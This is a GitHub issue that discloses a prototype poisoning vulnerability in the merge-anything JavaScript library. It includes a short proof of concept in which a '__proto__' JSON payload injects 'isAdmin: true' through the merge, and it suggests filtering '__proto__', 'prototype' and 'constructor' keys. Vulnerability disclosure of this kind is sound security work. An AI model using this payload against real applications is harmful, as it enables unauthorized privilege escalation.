Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security: Prototype poisoning #41

Open
xclow3n opened this issue May 30, 2024 · 0 comments
Open

Security: Prototype poisoning #41

xclow3n opened this issue May 30, 2024 · 0 comments

Comments

@xclow3n
Copy link

xclow3n commented May 30, 2024

POC:

import { merge } from 'merge-anything'

const defaultPermissions = {
    read: true,
    write: false,
    delete: false,
};

const payload = JSON.parse('{"__proto__": { "isAdmin": true }}');

const userPermissions = merge({}, defaultPermissions, payload);

console.log('User Permissions:', userPermissions);
console.log(userPermissions['isAdmin'])

if (userPermissions.isAdmin) {
    console.log('User has admin access');
} else {
    console.log('User does not have admin access');
}

This code demonstrates how prototype poisoning can occur by merging an object containing a proto property with default permissions using the merge-anything library. The isAdmin property is injected into the object's prototype.
Implications

  • Unauthorized Access: Users can gain elevated permissions without proper authorization.
  • Security Breach: Compromised data integrity and potential for privilege escalation.
  • Inconsistent Behavior: Application logic relying on permissions can be bypassed, leading to unpredictable behavior and security vulnerabilities.

Mitigation

  • Specifically check for keys like "proto", "prototype", "constructor"

Since this library has a lot of weekly downloads so there might multiple use cases that might be effected by this bug

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant